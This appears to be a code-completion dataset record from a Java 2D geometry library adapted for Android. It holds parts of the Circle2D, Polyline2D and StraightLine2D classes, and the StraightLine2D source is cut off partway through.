}\r\n\r\n // line joining centers of the two circles\r\n StraightLine2D centersLine = new StraightLine2D(center, c1);\r\n\r\n // get the two intersection points with the line joining the circle\r\n // centers\r\n Collection<Point2D> points = this.intersections(centersLine);\r\n if (points.size() < 2) {\r\n throw new RuntimeException(\r\n \"Intersection of circle with line through center has less than 2 points\");\r\n }\r\n Iterator<Point2D> iter = points.iterator();\r\n Point2D p1 = iter.next();\r\n Point2D p2 = iter.next();\r\n\r\n // If the circle contains the inversion center, it transforms into a\r\n // straight line\r\n if (this.distance(center) < Shape2D.ACCURACY) {\r\n // choose the intersection point that is not the center\r\n double dist1 = center.distance(p1);\r\n double dist2 = center.distance(p2);\r\n Point2D p0 = dist1 < dist2 ? p2 : p1;\r\n\r\n // transform the point, and return the perpendicular\r\n p0 = p0.transform(inv);\r\n return StraightLine2D.createPerpendicular(centersLine, p0);\r\n }\r\n\r\n // For regular cases, the circle transforms into an other circle\r\n\r\n // transform the two extreme points of the circle,\r\n // resulting in a diameter of the new circle\r\n p1 = p1.transform(inv);\r\n p2 = p2.transform(inv);\r\n\r\n // compute center and diameter of transformed circle\r\n double diam = p1.distance(p2);\r\n c1 = Point2D.midPoint(p1, p2);\r\n\r\n // create the transformed circle\r\n boolean direct = !this.isDirect() ^ this.isInside(inv.center());\r\n return new Circle2D(c1, diam / 2, direct);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing the Boundary2D interface\r\n\r\n public CirculinearDomain2D domain() {\r\n return new GenericCirculinearDomain2D(this);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing OrientedCurve2D interface\r\n\r\n /**\r\n * Return either 0, 2*PI or -2*PI, depending whether the point is located\r\n * inside the interior of the ellipse or not.\r\n */\r\n public double windingAngle(Point2D point) {\r\n if (this.signedDistance(point) > 0)\r\n return 0;\r\n else\r\n return direct ? PI * 2 : -PI * 2;\r\n }\r\n\r\n // ===================================================================\r\n // methods of SmoothCurve2D interface\r\n\r\n public Vector2D tangent(double t) {\r\n if (!direct)\r\n t = -t;\r\n double cot = cos(theta);\r\n double sit = sin(theta);\r\n double cost = cos(t);\r\n double sint = sin(t);\r\n\r\n if (direct)\r\n return new Vector2D(-r * sint * cot - r * cost * sit, -r * sint\r\n * sit + r * cost * cot);\r\n else\r\n return new Vector2D(r * sint * cot + r * cost * sit, r * sint * sit\r\n - r * cost * cot);\r\n }\r\n\r\n /**\r\n * Returns the inverse of the circle radius. If the circle is indirect, the\r\n * curvature is negative.\r\n */\r\n public double curvature(double t) {\r\n double k = 1 / r;\r\n return direct ? k : -k;\r\n }\r\n\r\n // ===================================================================\r\n // methods of ContinuousCurve2D interface\r\n\r\n /**\r\n * Returns a set of smooth curves, which contains only the circle.\r\n */\r\n @Override\r\n public Collection<? extends Circle2D> smoothPieces() {\r\n return wrapCurve(this);\r\n }\r\n\r\n /**\r\n * Returns true, as an ellipse is always closed.\r\n */\r\n public boolean isClosed() {\r\n return true;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.curve.ContinuousCurve2D#asPolyline(int)\r\n */\r\n public LinearRing2D asPolyline(int n) {\r\n return this.asPolylineClosed(n);\r\n }\r\n\r\n // ===================================================================\r\n // methods of OrientedCurve2D interface\r\n\r\n /**\r\n * Test whether the point is inside the circle. The test is performed by\r\n * translating the point, and re-scaling it such that its coordinates are\r\n * expressed in unit circle basis.\r\n */\r\n public boolean isInside(Point2D point) {\r\n double xp = (point.x() - this.xc) / this.r;\r\n double yp = (point.y() - this.yc) / this.r;\r\n return (xp * xp + yp * yp < 1) ^ !direct;\r\n }\r\n\r\n public double signedDistance(Point2D point) {\r\n return signedDistance(point.x(), point.y());\r\n }\r\n\r\n public double signedDistance(double x, double y) {\r\n if (direct)\r\n return Point2D.distance(xc, yc, x, y) - r;\r\n else\r\n return r - Point2D.distance(xc, yc, x, y);\r\n }\r\n\r\n // ===================================================================\r\n // methods of Curve2D interface\r\n\r\n /** Always returns true. */\r\n public boolean isBounded() {\r\n return true;\r\n }\r\n\r\n /** Always returns false. */\r\n public boolean isEmpty() {\r\n return false;\r\n }\r\n\r\n /**\r\n * Returns the parameter of the first point of the ellipse, set to 0.\r\n */\r\n public double t0() {\r\n return 0;\r\n }\r\n\r\n /**\r\n * @deprecated replaced by t0() (since 0.11.1).\r\n */\r\n @Deprecated\r\n public double getT0() {\r\n return t0();\r\n }\r\n\r\n /**\r\n * Returns the parameter of the last point of the ellipse, set to 2*PI.\r\n */\r\n public double t1() {\r\n return 2 * PI;\r\n }\r\n\r\n /**\r\n * @deprecated replaced by t1() (since 0.11.1).\r\n */\r\n @Deprecated\r\n public double getT1() {\r\n return t1();\r\n }\r\n\r\n /**\r\n * Get the position of the curve from internal parametric representation,\r\n * depending on the parameter t. This parameter is between the two limits 0\r\n * and 2*Math.PI.\r\n */\r\n public Point2D point(double t) {\r\n double angle = theta + t;\r\n if (!direct)\r\n angle = theta - t;\r\n return new Point2D(xc + r * cos(angle), yc + r * sin(angle));\r\n }\r\n\r\n /**\r\n * Get the first point of the circle, which is the same as the last point.\r\n * \r\n * @return the first point of the curve\r\n */\r\n public Point2D firstPoint() {\r\n return new Point2D(xc + r * cos(theta), yc + r * sin(theta));\r\n }\r\n\r\n /**\r\n * Get the last point of the circle, which is the same as the first point.\r\n * \r\n * @return the last point of the curve.\r\n */\r\n public Point2D lastPoint() {\r\n return new Point2D(xc + r * cos(theta), yc + r * sin(theta));\r\n }\r\n\r\n public double position(Point2D point) {\r\n double angle = Angle2D.horizontalAngle(xc, yc, point.x(), point.y());\r\n if (direct)\r\n return Angle2D.formatAngle(angle - theta);\r\n else\r\n return Angle2D.formatAngle(theta - angle);\r\n }\r\n\r\n /**\r\n * Computes the projection position of the point on the circle, by computing\r\n * angle with horizonrtal\r\n */\r\n public double project(Point2D point) {\r\n double xp = point.x() - this.xc;\r\n double yp = point.y() - this.yc;\r\n\r\n // compute angle\r\n return Angle2D.horizontalAngle(xp, yp);\r\n }\r\n\r\n /**\r\n * Returns the circle with same center and same radius, but with the\r\n * opposite orientation.\r\n */\r\n public Circle2D reverse() {\r\n return new Circle2D(this.xc, this.yc, this.r, !this.direct);\r\n }\r\n\r\n /**\r\n * Returns a new CircleArc2D. t0 and t1 are position on circle.\r\n */\r\n public CircleArc2D subCurve(double t0, double t1) {\r\n double startAngle, extent;\r\n if (this.direct) {\r\n startAngle = t0;\r\n extent = Angle2D.formatAngle(t1 - t0);\r\n } else {\r\n extent = -Angle2D.formatAngle(t1 - t0);\r\n startAngle = Angle2D.formatAngle(-t0);\r\n }\r\n return new CircleArc2D(this, startAngle, extent);\r\n }\r\n\r\n public Collection<? extends Circle2D> continuousCurves() {\r\n return wrapCurve(this);\r\n }\r\n\r\n // ===================================================================\r\n // methods of Shape2D interface\r\n\r\n public double distance(Point2D point) {\r\n return abs(Point2D.distance(xc, yc, point.x(), point.y()) - r);\r\n }\r\n\r\n public double distance(double x, double y) {\r\n return abs(Point2D.distance(xc, yc, x, y) - r);\r\n }\r\n\r\n /**\r\n * Computes intersections of the circle with a line. Return an array of\r\n * Point2D, of size 0, 1 or 2 depending on the distance between circle and\r\n * line. If there are 2 intersections points, the first one in the array is\r\n * the first one on the line.\r\n */\r\n public Collection<Point2D> intersections(LinearShape2D line) {\r\n return Circle2D.lineCircleIntersections(line, this);\r\n }\r\n\r\n /**\r\n * Clips the circle by a box. The result is an instance of CurveSet2D, which\r\n * contains only instances of CircleArc2D or Circle2D. If the circle is not\r\n * clipped, the result is an instance of CurveSet2D which contains 0 curves.\r\n */\r\n public CurveSet2D<? extends CircularShape2D> clip(Box2D box) {\r\n // Clip the curve\r\n CurveSet2D<SmoothCurve2D> set = Curves2D.clipSmoothCurve(this, box);\r\n\r\n // Stores the result in appropriate structure\r\n CurveArray2D<CircularShape2D> result = new CurveArray2D<CircularShape2D>(\r\n set.size());\r\n\r\n // convert the result\r\n for (Curve2D curve : set.curves()) {\r\n if (curve instanceof CircleArc2D)\r\n result.add((CircleArc2D) curve);\r\n if (curve instanceof Circle2D)\r\n result.add((Circle2D) curve);\r\n }\r\n return result;\r\n }\r\n\r\n // ===================================================================\r\n // methods of Shape interface\r\n\r\n /**\r\n * Returns true if the point p lies on the ellipse, with precision given by\r\n * Shape2D.ACCURACY.\r\n */\r\n public boolean contains(Point2D p) {\r\n return contains(p.x(), p.y());\r\n }\r\n\r\n /**\r\n * Returns true if the point (x, y) lies exactly on the circle.\r\n */\r\n public boolean contains(double x, double y) {\r\n return abs(distance(x, y)) <= Shape2D.ACCURACY;\r\n }\r\n\r\n public Path appendPath(Path path) {\r\n double cot = cos(theta);\r\n double sit = sin(theta);\r\n double cost, sint;\r\n\r\n if (direct) {\r\n // Counter-clockwise circle\r\n for (double t = .1; t < PI * 2; t += .1) {\r\n cost = cos(t);\r\n sint = sin(t);\r\n path.lineTo((float) (xc + r * cost * cot - r * sint * sit),\r\n (float) (yc + r * cost * sit + r * sint * cot));\r\n }\r\n } else {\r\n // Clockwise circle\r\n for (double t = .1; t < PI * 2; t += .1) {\r\n cost = cos(t);\r\n sint = sin(t);\r\n path.lineTo((float) (xc + r * cost * cot + r * sint * sit),\r\n (float) (yc + r * cost * sit - r * sint * cot));\r\n }\r\n }\r\n\r\n // line to first point\r\n path.lineTo((float) (xc + r * cot), (float) (yc + r * sit));\r\n\r\n return path;\r\n }\r\n\r\n public void draw(Canvas g2, Paint p) {\r\n g2.drawCircle((float) (xc - r), (float) (yc - r),\r\n (float) ((float) 2 * r), p);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing GeometricObject2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see\r\n * math.geom2d.GeometricObject2D#almostEquals(math.geom2d.GeometricObject2D,\r\n * double)\r\n */\r\n public boolean almostEquals(GeometricObject2D obj, double eps) {\r\n if (!(obj instanceof Circle2D))\r\n return false;\r\n\r\n Circle2D circle = (Circle2D) obj;\r\n\r\n if (abs(circle.xc - xc) > eps)\r\n return false;\r\n if (abs(circle.yc - yc) > eps)\r\n return false;\r\n if (abs(circle.r - r) > eps)\r\n return false;\r\n if (circle.direct != direct)\r\n return false;\r\n return true;\r\n }\r\n\r\n /**\r\n * Returns bounding box of the circle.\r\n */\r\n public Box2D boundingBox() {\r\n return new Box2D(xc - r, xc + r, yc - r, yc + r);\r\n }\r\n\r\n /**\r\n * Transforms this circle by an affine transform. If the transformed shape\r\n * is a circle (ellipse with equal axis lengths), returns an instance of\r\n * Circle2D. The resulting ellipse is direct if this ellipse and the\r\n * transform are either both direct or both indirect.\r\n */\r\n public EllipseShape2D transform(AffineTransform2D trans) {\r\n // When the transform is not a similarity, should switch to EllipseArc\r\n // computation\r\n if (!AffineTransform2D.isSimilarity(trans)) {\r\n return this.asEllipse().transform(trans);\r\n }\r\n\r\n // If transform is a similarity, the result is a circle\r\n Point2D center = this.center().transform(trans);\r\n Point2D p1 = this.firstPoint().transform(trans);\r\n\r\n boolean direct = !this.direct ^ trans.isDirect();\r\n Circle2D result = new Circle2D(center, center.distance(p1), direct);\r\n return result;\r\n }\r\n\r\n // ===================================================================\r\n // methods of Object interface\r\n\r\n @Override\r\n public String toString() {\r\n return String.format(Locale.US, \"Circle2D(%7.2f,%7.2f,%7.2f,%s)\", xc,\r\n yc, r, direct ? \"true\" : \"false\");\r\n }\r\n\r\n @Override\r\n public boolean equals(Object obj) {\r\n if (this == obj)\r\n return true;\r\n if (obj instanceof Circle2D) {\r\n Circle2D that = (Circle2D) obj;\r\n\r\n // Compare each field\r\n if (!EqualUtils.areEqual(this.xc, that.xc))\r\n return false;\r\n if (!EqualUtils.areEqual(this.yc, that.yc))\r\n return false;\r\n if (!EqualUtils.areEqual(this.r, that.r))\r\n return false;\r\n if (this.direct != that.direct)\r\n return false;\r\n\r\n return true;\r\n }\r\n return super.equals(obj);\r\n }\r\n\r\n /**\r\n * @deprecated use copy constructor instead (0.11.2)\r\n */\r\n @Deprecated\r\n @Override\r\n public Circle2D clone() {\r\n return new Circle2D(xc, yc, r, direct);\r\n }\r\n\r\n}\r", "public class Polyline2D extends LinearCurve2D\r\nimplements CirculinearContinuousCurve2D, Cloneable {\r\n\r\n // ===================================================================\r\n // Static methods\r\n \r\n /**\r\n * Static factory for creating a new Polyline2D from a collection of\r\n * points.\r\n * @since 0.8.1\r\n */\r\n public static Polyline2D create(Collection<? extends Point2D> points) {\r\n \treturn new Polyline2D(points);\r\n }\r\n \r\n /**\r\n * Static factory for creating a new Polyline2D from an array of\r\n * points.\r\n * @since 0.8.1\r\n */\r\n public static Polyline2D create(Point2D... points) {\r\n \treturn new Polyline2D(points);\r\n }\r\n\r\n \r\n // ===================================================================\r\n // Contructors\r\n\r\n public Polyline2D() {\r\n \tsuper(1);\r\n }\r\n\r\n /**\r\n * Creates a new polyline by allocating enough memory for the specified\r\n * number of vertices.\r\n * @param nVertices\r\n */\r\n public Polyline2D(int nVertices) {\r\n \tsuper(nVertices);\r\n }\r\n\r\n public Polyline2D(Point2D initialPoint) {\r\n this.vertices.add(initialPoint);\r\n }\r\n\r\n public Polyline2D(Point2D... vertices) {\r\n super(vertices);\r\n }\r\n\r\n public Polyline2D(Collection<? extends Point2D> vertices) {\r\n super(vertices);\r\n }\r\n\r\n public Polyline2D(double[] xcoords, double[] ycoords) {\r\n \tsuper(xcoords, ycoords);\r\n }\r\n \r\n public Polyline2D(LinearCurve2D lineString) {\r\n \tsuper(lineString.vertices);\r\n \tif (lineString.isClosed()) \r\n \t\tthis.vertices.add(lineString.firstPoint());\r\n }\r\n \r\n // ===================================================================\r\n // Methods implementing LinearCurve2D methods\r\n\r\n /**\r\n * Returns a simplified version of this polyline, by using Douglas-Peucker\r\n * algorithm.\r\n */\r\n public Polyline2D simplify(double distMax) {\r\n \treturn new Polyline2D(Polylines2D.simplifyPolyline(this.vertices, distMax));\r\n }\r\n\r\n /**\r\n * Returns an array of LineSegment2D. The number of edges is the number of\r\n * vertices minus one.\r\n * \r\n * @return the edges of the polyline\r\n */\r\n public Collection<LineSegment2D> edges() {\r\n int n = vertices.size();\r\n ArrayList<LineSegment2D> edges = new ArrayList<LineSegment2D>(n);\r\n\r\n if (n < 2)\r\n return edges;\r\n\r\n for (int i = 0; i < n-1; i++)\r\n edges.add(new LineSegment2D(vertices.get(i), vertices.get(i+1)));\r\n\r\n return edges;\r\n }\r\n \r\n public int edgeNumber() {\r\n \tint n = vertices.size(); \r\n \tif (n > 1) \r\n \t\treturn n - 1;\r\n \treturn 0;\r\n }\r\n \r\n public LineSegment2D edge(int index) {\r\n \treturn new LineSegment2D(vertices.get(index), vertices.get(index+1));\r\n }\r\n\r\n public LineSegment2D lastEdge() {\r\n int n = vertices.size();\r\n if (n < 2)\r\n return null;\r\n return new LineSegment2D(vertices.get(n-2), vertices.get(n-1));\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing the CirculinearCurve2D interface\r\n\r\n\t/* (non-Javadoc)\r\n\t * @see math.geom2d.circulinear.CirculinearCurve2D#transform(math.geom2d.transform.CircleInversion2D)\r\n\t */\r\n\tpublic CirculinearContinuousCurve2D transform(CircleInversion2D inv) {\r\n\t\t\r\n\t\t// Create array for storing transformed arcs\r\n\t\tCollection<LineSegment2D> edges = this.edges();\r\n\t\tArrayList<CirculinearContinuousCurve2D> arcs = \r\n\t\t\tnew ArrayList<CirculinearContinuousCurve2D>(edges.size());\r\n\t\t\r\n\t\t// Transform each arc\r\n\t\tfor(LineSegment2D edge : edges) {\r\n\t\t\tarcs.add(edge.transform(inv));\r\n\t\t}\r\n\t\t\r\n\t\t// create the transformed shape\r\n\t\treturn new PolyCirculinearCurve2D<CirculinearContinuousCurve2D>(arcs);\r\n\t}\r\n\r\n\r\n\t// ===================================================================\r\n // Methods implementing the ContinuousCurve2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.OrientedCurve2D#windingAngle(Point2D)\r\n */\r\n public double windingAngle(Point2D point) {\r\n double angle = 0;\r\n int n = vertices.size();\r\n for (int i = 0; i<n-1; i++)\r\n angle += new LineSegment2D(vertices.get(i), vertices.get(i+1))\r\n .windingAngle(point);\r\n\r\n return angle;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.OrientedCurve2D#isInside(Point2D)\r\n */\r\n public boolean isInside(Point2D pt) {\r\n if (new LinearRing2D(this.vertexArray()).isInside(pt))\r\n return true;\r\n\r\n // can not compute orientation if number of vertices if too low\r\n\t\tif (this.vertices.size() < 3)\r\n\t\t\treturn false;\r\n\r\n\t\t// check line corresponding to first edge\r\n Point2D p0 = this.firstPoint();\r\n Point2D q0 = this.vertex(1);\r\n if (new StraightLine2D(q0, p0).isInside(pt))\r\n return false;\r\n\r\n\t\t// check line corresponding to last edge\r\n Point2D p1 = this.lastPoint();\r\n Point2D q1 = this.vertex(this.vertexNumber() - 2);\r\n if (new StraightLine2D(p1, q1).isInside(pt))\r\n return false;\r\n\r\n // check line joining the two extremities\r\n if (new StraightLine2D(p0, p1).isInside(pt))\r\n return true;\r\n\r\n return false;\r\n }\r\n\r\n \r\n // ===================================================================\r\n // Methods inherited from ContinuousCurve2D\r\n\r\n /**\r\n * Returns false, as Polyline2D is open by definition.\r\n */\r\n public boolean isClosed() {\r\n return false;\r\n }\r\n\r\n \r\n // ===================================================================\r\n // Methods inherited from Curve2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.Curve2D#point(double, math.geom2d.Point2D)\r\n */\r\n public Point2D point(double t) {\r\n // format position to stay between limits\r\n double t0 = this.t0();\r\n double t1 = this.t1();\r\n t = Math.max(Math.min(t, t1), t0);\r\n\r\n // index of vertex before point\r\n int ind0 = (int) Math.floor(t+Shape2D.ACCURACY);\r\n double tl = t - ind0;\r\n Point2D p0 = vertices.get(ind0);\r\n\r\n\t\t// check if equal to a vertex\r\n\t\tif (Math.abs(t - ind0) < Shape2D.ACCURACY)\r\n\t\t\treturn p0;\r\n\r\n // index of vertex after point\r\n int ind1 = ind0+1;\r\n Point2D p1 = vertices.get(ind1);\r\n\r\n // position on line;\r\n\t\tdouble x0 = p0.x();\r\n\t\tdouble y0 = p0.y();\r\n\t\tdouble dx = p1.x() - x0;\r\n\t\tdouble dy = p1.y() - y0;\r\n\t\treturn new Point2D(x0 + tl * dx, y0 + tl * dy);\r\n\t}\r\n\r\n /**\r\n * Returns the number of points in the polyline, minus one.\r\n */\r\n public double t1() {\r\n return vertices.size() - 1;\r\n }\r\n\r\n /**\r\n * @deprecated replaced by t1() (since 0.11.1).\r\n */\r\n @Deprecated\r\n public double getT1() {\r\n \treturn t1();\r\n }\r\n\r\n\t/**\r\n * Returns the last point of this polyline, or null if the polyline does \r\n * not contain any point.\r\n */\r\n\t@Override\r\n public Point2D lastPoint() {\r\n if (vertices.size() == 0)\r\n return null;\r\n return vertices.get(vertices.size()-1);\r\n }\r\n\r\n /**\r\n * Returns the polyline with same points considered in reverse order.\r\n * Reversed polyline keep same references as original polyline.\r\n */\r\n public Polyline2D reverse() {\r\n Point2D[] points2 = new Point2D[vertices.size()];\r\n int n = vertices.size();\r\n for (int i = 0; i < n; i++)\r\n\t\t\tpoints2[i] = vertices.get(n - 1 - i);\r\n return new Polyline2D(points2);\r\n }\r\n\r\n\t@Override\r\n public Collection<? extends Polyline2D> continuousCurves() {\r\n \treturn wrapCurve(this);\r\n }\r\n\r\n\r\n /**\r\n * Return an instance of Polyline2D. If t1 is lower than t0, return an\r\n * instance of Polyline2D with zero points.\r\n */\r\n public Polyline2D subCurve(double t0, double t1) {\r\n // code adapted from CurveSet2D\r\n\r\n Polyline2D res = new Polyline2D();\r\n\r\n\t\tif (t1 < t0)\r\n\t\t\treturn res;\r\n\r\n\t\t// number of points in the polyline\r\n\t\tint indMax = (int) this.t1();\r\n\r\n // format to ensure t is between T0 and T1\r\n t0 = Math.min(Math.max(t0, 0), indMax);\r\n t1 = Math.min(Math.max(t1, 0), indMax);\r\n\r\n // find curves index\r\n int ind0 = (int) Math.floor(t0);\r\n int ind1 = (int) Math.floor(t1);\r\n\r\n // need to subdivide only one line segment\r\n if (ind0 == ind1) {\r\n // extract limit points\r\n res.addVertex(this.point(t0));\r\n res.addVertex(this.point(t1));\r\n // return result\r\n return res;\r\n }\r\n\r\n // add the point corresponding to t0\r\n res.addVertex(this.point(t0));\r\n\r\n // add all the whole points between the 2 cuts\r\n for (int n = ind0 + 1; n <= ind1; n++)\r\n res.addVertex(vertices.get(n));\r\n\r\n // add the last point\r\n res.addVertex(this.point(t1));\r\n\r\n // return the polyline\r\n return res;\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing the Shape2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.Shape2D#transform(math.geom2d.AffineTransform2D)\r\n */\r\n public Polyline2D transform(AffineTransform2D trans) {\r\n Point2D[] pts = new Point2D[vertices.size()];\r\n\t\tfor (int i = 0; i < vertices.size(); i++)\r\n pts[i] = trans.transform(vertices.get(i));\r\n return new Polyline2D(pts);\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.ContinuousCurve2D#appendPath(java.awt.geom.GeneralPath)\r\n */\r\n public Path appendPath(Path path) {\r\n\r\n if (vertices.size() < 2)\r\n return path;\r\n\r\n // get point iterator\r\n Iterator<Point2D> iter = vertices.iterator();\r\n\r\n // avoid first point\r\n Point2D point = iter.next();\r\n \r\n // line to each other point\r\n while (iter.hasNext()) {\r\n point = iter.next();\r\n path.lineTo((float) (point.x()), (float) (point.y()));\r\n }\r\n\r\n return path;\r\n }\r\n\r\n /**\r\n * Returns a general path iterator.\r\n */\r\n public Path asGeneralPath() {\r\n Path path = new Path();\r\n if (vertices.size()<2)\r\n return path;\r\n\r\n // get point iterator\r\n Iterator<Point2D> iter = vertices.iterator();\r\n\r\n // move to first point\r\n Point2D point = iter.next();\r\n path.moveTo((float) (point.x()), (float) (point.y()));\r\n\r\n // line to each other point\r\n while (iter.hasNext()) {\r\n point = iter.next();\r\n path.lineTo((float) (point.x()), (float) (point.y()));\r\n }\r\n\r\n return path;\r\n }\r\n\r\n\r\n\t// ===================================================================\r\n\t// methods implementing the GeometricObject2D interface\r\n\r\n\t/* (non-Javadoc)\r\n\t * @see math.geom2d.GeometricObject2D#almostEquals(math.geom2d.GeometricObject2D, double)\r\n\t */\r\n public boolean almostEquals(GeometricObject2D obj, double eps) {\r\n \tif (this == obj)\r\n \t\treturn true;\r\n \t\r\n if (!(obj instanceof Polyline2D))\r\n return false;\r\n Polyline2D polyline = (Polyline2D) obj;\r\n\r\n if (vertices.size() != polyline.vertices.size())\r\n return false;\r\n \r\n for (int i = 0; i < vertices.size(); i++)\r\n if (!(vertices.get(i)).almostEquals(polyline.vertices.get(i), eps))\r\n return false;\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // Methods inherited from the Object Class\r\n\r\n @Override\r\n public boolean equals(Object object) {\r\n \tif (this==object)\r\n \t\treturn true;\r\n if (!(object instanceof Polyline2D))\r\n return false;\r\n Polyline2D polyline = (Polyline2D) object;\r\n\r\n if (vertices.size()!=polyline.vertices.size())\r\n return false;\r\n for (int i = 0; i<vertices.size(); i++)\r\n if (!(vertices.get(i)).equals(polyline.vertices.get(i)))\r\n return false;\r\n return true;\r\n }\r\n \r\n\t/**\r\n\t * @deprecated use copy constructor instead (0.11.2)\r\n\t */\r\n\t@Deprecated\r\n @Override\r\n public Polyline2D clone() {\r\n ArrayList<Point2D> array = new ArrayList<Point2D>(vertices.size());\r\n for(Point2D point : vertices)\r\n array.add(point);\r\n return new Polyline2D(array);\r\n }\r\n\r\n}\r" ]
import java.util.ArrayList; import java.util.Collection; import math.geom2d.AffineTransform2D; import math.geom2d.Angle2D; import math.geom2d.Box2D; import math.geom2d.GeometricObject2D; import math.geom2d.Point2D; import math.geom2d.Shape2D; import math.geom2d.UnboundedShape2DException; import math.geom2d.Vector2D; import math.geom2d.circulinear.CircleLine2D; import math.geom2d.circulinear.CirculinearDomain2D; import math.geom2d.circulinear.GenericCirculinearDomain2D; import math.geom2d.conic.Circle2D; import math.geom2d.domain.SmoothContour2D; import math.geom2d.polygon.Polyline2D; import math.geom2d.transform.CircleInversion2D; import math.utils.EqualUtils; import android.graphics.Canvas; import android.graphics.Paint; import android.graphics.Path;
/* File StraightLine2D.java * * Project : Java Geometry Library * * =========================================== * * This library is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 2.1 of the License, or (at * your option) any later version. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY, without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library. if not, write to : * The Free Software Foundation, Inc., 59 Temple Place, Suite 330, * Boston, MA 02111-1307, USA. */ // package package math.geom2d.line; //Imports /** * Implementation of a straight line. Such a line can be constructed using two * points, a point and a parallel line or straight object, or with coefficient * of the Cartesian equation. */ public class StraightLine2D extends AbstractLine2D implements SmoothContour2D, Cloneable, CircleLine2D { // =================================================================== // constants // =================================================================== // class variables // =================================================================== // static methods /** * Creates a straight line going through a point and with a given angle. * * @deprecated since 0.11.1 */ @Deprecated public static StraightLine2D create(Point2D point, double angle) { return new StraightLine2D(point.x(), point.y(), Math.cos(angle), Math.sin(angle)); } /** * Creates a straight line through 2 points. * * @deprecated since 0.11.1 */ @Deprecated public static StraightLine2D create(Point2D p1, Point2D p2) { return new StraightLine2D(p1, p2); } /** * Creates a straight line through a point and with a given direction * vector. * * @deprecated since 0.11.1 */ @Deprecated public static StraightLine2D create(Point2D origin, Vector2D direction) { return new StraightLine2D(origin, direction); } /** * Creates a vertical straight line through the given point. * * @since 0.10.3 */ public static StraightLine2D createHorizontal(Point2D origin) { return new StraightLine2D(origin, new Vector2D(1, 0)); } /** * Creates a vertical straight line through the given point. * * @since 0.10.3 */ public static StraightLine2D createVertical(Point2D origin) { return new StraightLine2D(origin, new Vector2D(0, 1)); } /** * Creates a median between 2 points. * * @param p1 * one point * @param p2 * another point * @return the median of points p1 and p2 * @since 0.6.3 */ public static StraightLine2D createMedian(Point2D p1, Point2D p2) { Point2D mid = Point2D.midPoint(p1, p2); StraightLine2D line = StraightLine2D.create(p1, p2); return StraightLine2D.createPerpendicular(line, mid); } /** * Returns a new Straight line, parallel to another straight object (ray, * straight line or edge), and going through the given point. * * @since 0.6.3 */ public static StraightLine2D createParallel(LinearShape2D line, Point2D point) { return new StraightLine2D(line, point); } /** * Returns a new Straight line, parallel to another straight object (ray, * straight line or edge), and going through the given point. * * @since 0.6.3 */ public static StraightLine2D createParallel(LinearShape2D linear, double d) { StraightLine2D line = linear.supportingLine(); double d2 = d / Math.hypot(line.dx, line.dy); return new StraightLine2D(line.x0 + line.dy * d2, line.y0 - line.dx * d2, line.dx, line.dy); } /** * Returns a new Straight line, perpendicular to a straight object (ray, * straight line or edge), and going through the given point. * * @since 0.6.3 */ public static StraightLine2D createPerpendicular(LinearShape2D linear, Point2D point) { StraightLine2D line = linear.supportingLine(); return new StraightLine2D(point, -line.dy, line.dx); } /** * Returns a new Straight line, with the given coefficient of the cartesian * equation (a*x + b*y + c = 0). */ public static StraightLine2D createCartesian(double a, double b, double c) { return new StraightLine2D(a, b, c); } /** * Computes the intersection point of the two (infinite) lines going through * p1 and p2 for the first one, and p3 and p4 for the second one. Returns * null if two lines are parallel. */ public static Point2D getIntersection(Point2D p1, Point2D p2, Point2D p3, Point2D p4) { StraightLine2D line1 = new StraightLine2D(p1, p2); StraightLine2D line2 = new StraightLine2D(p3, p4); return line1.intersection(line2); } // =================================================================== // constructors /** Empty constructor: a straight line corresponding to horizontal axis. */ public StraightLine2D() { this(0, 0, 1, 0); } /** Defines a new Straight line going through the two given points. */ public StraightLine2D(Point2D point1, Point2D point2) { this(point1, new Vector2D(point1, point2)); } /** * Defines a new Straight line going through the given point, and with the * specified direction vector. */ public StraightLine2D(Point2D point, Vector2D direction) { this(point.x(), point.y(), direction.x(), direction.y()); } /** * Defines a new Straight line going through the given point, and with the * specified direction vector. */ public StraightLine2D(Point2D point, double dx, double dy) { this(point.x(), point.y(), dx, dy); } /** * Defines a new Straight line going through the given point, and with the * specified direction given by angle. */ public StraightLine2D(Point2D point, double angle) { this(point.x(), point.y(), Math.cos(angle), Math.sin(angle)); } /* * Defines a new Straight line going through the point (xp, yp) and with the * direction dx, dy. */ public StraightLine2D(double xp, double yp, double dx, double dy) { super(xp, yp, dx, dy); } /** * Copy constructor: Defines a new Straight line at the same position and * with the same direction than an other straight object (line, edge or * ray). */ public StraightLine2D(LinearShape2D line) { this(line.origin(), line.direction()); } /** * Defines a new Straight line, parallel to another straigth object (ray, * straight line or edge), and going through the given point. */ public StraightLine2D(LinearShape2D line, Point2D point) { this(point, line.direction()); } /** * Defines a new straight line, from the coefficients of the cartesian * equation. The starting point of the line is then the point of the line * closest to the origin, and the direction vector has unit norm. */ public StraightLine2D(double a, double b, double c) { this(0, 0, 1, 0); double d = a * a + b * b; x0 = -a * c / d; y0 = -b * c / d; double theta = Math.atan2(-a, b); dx = Math.cos(theta); dy = Math.sin(theta); } // =================================================================== // methods specific to StraightLine2D /** * Returns a new Straight line, parallel to another straight object (ray, * straight line or edge), and going through the given point. */ public StraightLine2D parallel(Point2D point) { return new StraightLine2D(point, dx, dy); } // =================================================================== // methods implementing the CirculinearCurve2D interface /** * Returns the parallel line located at a distance d from the line. Distance * is positive in the 'right' side of the line (outside of the limiting * half-plane), and negative in the 'left' of the line. * * @throws DegeneratedLine2DException * if line direction vector 